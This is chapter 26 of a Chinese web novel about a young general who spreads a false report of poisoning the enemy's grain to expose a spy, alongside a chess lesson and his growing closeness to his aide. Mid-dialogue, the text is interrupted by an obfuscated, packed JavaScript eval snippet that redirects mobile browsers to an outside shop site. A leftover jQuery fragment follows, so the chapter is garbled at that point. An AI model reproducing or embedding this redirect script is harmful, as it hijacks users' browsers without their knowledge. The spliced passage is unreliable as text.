26. 第 26 章
    待诸将出帐后,裴霁曦看向一旁静默的初雪晴,问道:“可琢磨出什么了?”

    “世子心中自有妙计,只待鱼儿上钩了。”初雪晴答道。

    裴霁曦看这她那张平静的面孔,不自觉和她初入营时那张鲜活面庞对比,叹道:“自上次大捷之后,你似乎,没那么积极了。”

    初雪晴垂眸片刻,低声答道:“我只是不知道,自己做的事情背后,是多少条人命。”

    裴霁曦见她如此低落,拿出了一副棋盘,放到矮几上,示意她坐到对面:“你我来手谈一局。”

    裴霁曦教过她下棋,她在此道上也颇有天赋,学了没多久,就可以和裴霁曦勉强对弈了。

    只是裴霁曦下棋更有大局观,如同在给战场布局,每一步棋安排得都恰如其分。初雪晴初入棋道,棋风稳健而灵动,但难免经验不足,出现失误,迄今为止还没赢过。

    初雪晴有些心神不宁,随意走了几步,很快出现破绽。

    裴霁曦也不留情面,连续攻破她的防守,步步紧逼,看到初雪晴愈加沮丧,便对她道:“你自小就和家人失散,又经历饥荒辗转流亡,可能对家和国没有太深的理解,只是看到战争后面的人命。可你不杀敌,敌就会杀你,甚至杀你的家人亲朋。”

    初雪晴半晌看着眼前狼藉的棋局,半晌才喃喃道:“我明白的。”

    “你不明白。”裴霁曦严肃道,“你的善心,用在任何地方都可以,但不能用在战场之上。否则,招致的不仅是自身的危险,任何一个小兵的踯躅,都可能是战场的成败之关键,何况你……不是想做将军么。”

    初雪晴诧异抬眸,不知自己是何时泄露了内心那点妄想,“我……远远不够格。”

    “那你是想到了年纪,出府嫁人,相夫教子,安度一生吗?”

    “不。”初雪晴摇头,即使她仍对出路有所迷茫,但这条出路仍就不在她的选项之中,“我即使做不得燎原之火,也不会借别人的光被照亮。”

    裴霁曦已对她不容于世的想法见怪不怪,看她仍没有忘记自己的初衷,有所欣慰道:“你从来不需被照亮,你自己就能点燃。”

    言罢,他边整理棋子,边道:“你还小,机会还很多,再来一局。”

    初雪晴看着黑白棋子一个个归位,低声道:“谢谢世子一直给我机会。”

    “你也救过我,我做这些,都是应当的。何况,留你在身边,也助我良多。”

    初雪晴默默摇头,她做的,明明微不足道。

    *

    翌日,裴霁曦又把众将叫到一起,只简单对众将说墨语已带人成功投毒,此次因是直接投毒,便不用再组织攻击,只等北狄自行消耗后,再去收拾残局。

    严奇胜闻言,心中大喜过望,道:“世侄这事办得漂亮!”话语出口,才意识到竟在军中用了私下称呼,忙改口,“裴小将军,那句话咋说来着,对,颇有乃父风范!哈哈!”

    方若渊有些诧异,觉得此事太过顺利,但见裴霁曦如此笃定,便附和道:“如此倒省力了,那我们何时去收拾残局?”

    裴霁曦只淡淡道:“不急,今日大家休整一日,今晨刚下过药,营中灶房一般会备好当日的饭食,待他们用上粮仓的军粮,也得到明日了。”

    何生顺口问道:“那万一他们今日发现了异常,不用粮仓的军粮了该如何?”

    裴霁曦瞥他一眼,淡笑道:“不会,此番让人寻的药,无色无味,况且此事做的隐蔽,不会有人发现。”

    卢桀起身,抱拳道:“既如此,我等这就去安排明日之事。”

    裴霁曦点头道:“去吧,今日倒也不必过分紧张,此事已万无一失。”

    裴霁曦随着众将退出的脚步,掀开帐帘,挥挥手示意初雪晴跟上。

    远处山间风光像是自上而下展示着季节的变化,白色点缀山尖,绿色抹匀山腰,似是寒冬遥不可及,而暖春已乍然来到。

    春日阳光正好,冬日积久的寒气已褪去大半,只余微风中一丝清凉,轻轻拂在面上,恍似母亲的轻触般柔软。

    “今日风光正好,带你跑跑马。”裴霁曦的声音里,带着春风般的暖意。

    “可明日如此重要,世子不需要提前部署吗?”初雪晴还是隐隐担忧着。

    裴霁曦看着身旁亦步亦趋的小女孩,唇角现出一抹不易察觉的笑意,“总要留时间给别人办事。”

    初雪晴似懂非懂地点点头。

    她如今已经可以熟练地驾驭性子温顺些的马,她从马厩牵出自己惯常骑的黑马,翻身上马,跟上裴霁曦驰骋的身影。

    裴霁曦带她出了营地,顺着山路,穿过抹着春绿的山间,到高处俯瞰。

    他二人回望营地,只见一队骑兵出了营,看似是要在山间练兵,裴霁曦笑了笑:“鱼儿上钩了。”

    初雪晴似是懂了,裴霁曦这是故意给细作放出消息的机会,然而这消息,恰是裴霁曦给敌军造成的假象。

    “世子,既然这细作帮我们这么多,那是不是也能帮我们往敌营放一个细作呢?”

    裴霁曦抬眸看向她,初雪晴继续道:“如果我们在敌营也有一个细作,北狄想必要费一番头脑排查了。”

    裴霁曦目露赞赏,小丫头也开始懂用计了,“好,就依你所言。”

    *

    当日夜晚,裴霁曦正在营帐中与众将商议第二天的部署时,斥候传来消息,敌营粮仓走水了,熊熊烈火将粮仓烧了个一干二净。

    严奇胜闻言最先发声:“裴小将军,咋瞒着我们把事情给办了呢?不是说好下毒么,又改火烧了?”

    裴霁曦摇摇头,看着面前的舆图,手指点了点敌军粮仓的位置,“这场火,不是我派人烧的。想必是敌军发现粮仓被做了手脚,这才放弃了粮仓里的粮食。敌军扎营之地距北狄大本营要两日的路程,想必他们无法快速补给,应会迅速撤军。”

    初雪晴看着裴霁曦失望的神色,瞬间领会了他的意图。裴霁曦并未派人下毒,只是说给细作听的,这细作果真掉进了裴霁曦的圈套,告知了北狄下毒的事情。可北狄竟一把火烧了自己的粮仓,想必也是怕有圈套,怕万一军粮没毒反而把粮食留给了大宁。

    听闻此次是北狄公主亲自监军,这般玉石俱焚,想必她是个疑心重但也颇有魄力的人。

    裴霁曦失望的神色,只是因为这军粮没能到手。但这神色看在在场众将眼中,就是下毒消息被泄露,没能毒死敌军,令裴小将军失望了。

    方若渊谨慎道:“这下毒的消息,只有我们在座几人知道,敌军怎么会发现异常呢?”说着,还环视四周,扫过周边几人,在座都是军中良将,可祁允和何生却是新进破格提拔上来的,他视线在二人身上逡巡片刻,又定睛到了初雪晴身上。

    “冬学是什么时候跟的裴小将军呢?”方若渊悠悠发问。

    还未等初雪晴回答,裴霁曦就严肃道:“不要自乱阵脚,可能是我安插在北狄的细作露出了马脚。”

    严奇胜佩服道:“北狄也有咱们的细作?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738015|143224||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    裴小将军可真是厉害!”

    方若渊又回看何生与祁允,打量着他二人。

    何生看懂方若渊的怀疑,镇定道:“我今日并未出营,一直在营中。”

    祁允也道:“虽然我今日出营了,但也只是在附近山中训兵,想要他们及早熟悉山间地势,我手下士兵均可作证。”

    “够了。”裴霁曦打断他们的解释,“大敌当前,我们的精力应放在对手身上,不要互相猜疑。”

    言罢便解散众人,毕竟敌军紧急撤退,他们再追也无意义。

    待众人出帐,裴霁曦写了封信,用竹筒密封好,着人快马送到望北关定远侯手中。

    忙完这些,他方才露出一丝笑容,折身面向身旁侍候的初雪晴,“这次的计谋,你是什么时候看出来的?”

    初雪晴拿起桌上茶壶,为裴霁曦倒了一盏茶,递过去道:“世子用计高明,在您留下一个细作时,我便猜测您有此意图。直到您要故技重施,对敌营军粮动手,我觉得此计并非上策,但世子怎会用下策呢,必然是有其他计谋。”

    裴霁曦接过茶盏,一口饮尽,唇边含笑,“冬雪也越来越聪明了,但仅会用计,距离做将军还差得远。”

    言罢他缓缓放下茶盏,突然伸手对初雪晴攻击,伸手一推,再用脚一勾,初雪晴顺势倒下,裴霁曦没料到她如此不堪一击,忙用手垫住她的头。

    可她还是结结实实摔了一跤,幸好裴霁曦护住了她的头,她忍住身上酸疼,慢慢起身,带着抱怨的口气道,“世子知道我的水平,何必这般试我。”

    裴霁曦见她自己起身,也就收回了要扶她的手,正想道歉,一转念又道:“你自己水平差,还要埋怨我试你?”

    初雪晴愣怔片刻,才意识到自己的逾矩,“是我惫懒了,疏于练武。”

    裴霁曦见她语气低落,又觉不该这般打击她,低头摆弄沙盘,状似不经意道:“是我要求高了,毕竟你还没有真正跟着士兵操练过。放心,就算武力不行,也可努力做个军师。”

    初雪晴闻言,近几日茫然的思绪仿佛见得了一丝清明,她不敢正视战场的淋漓鲜血,那何不在后方运筹帷幄呢?

    她抬头看向裴霁曦,裴霁曦唇角那抹不宜察觉的笑容,带着些许暖意。他身上铠甲在烛光照耀下熠熠生辉,掩去了金属冰冷的杀伐之感,面上英挺的线条带着不符合年纪的沉稳,俊朗的五官和身上的铠甲莫名地契合。

    那是世家公子的不凡气度,与少年将军的杀伐果断,完美融合在了一起。

    不知是从何时起,他二人相处时,已然找不到初见时的清冷面具,她时时刻刻感受到的,便是唇角带笑的暖意。

    若是跟着这样的将军做军师,那军营的枯燥无味和战场的刀光剑影,似乎也不是件难以忍受的事情。

    初雪晴一时沉浸在自己的情绪中,忘记挪开粘在裴霁曦身上的目光。

    裴霁曦见她不语,抬眸看她,不期然撞进那清泉似的目光之中,仿佛把远山的春意都盛了进去,他愣了愣,错开目光,也未做言语,径直往外走。

    这丫头的目光,难道是……

    她最近总是莫名其妙,打了胜仗该高兴时也不兴奋,常常躲在角落发呆,莫非到了年纪少女怀春?

    可她不是不想嫁人吗?

    不想嫁人,难道只是不想出府?

    知道他不要通房丫鬟,便要想办法进军营中。

    裴霁曦猛然被自己的念头惊住,忙加快步伐,止住自己的胡思乱想。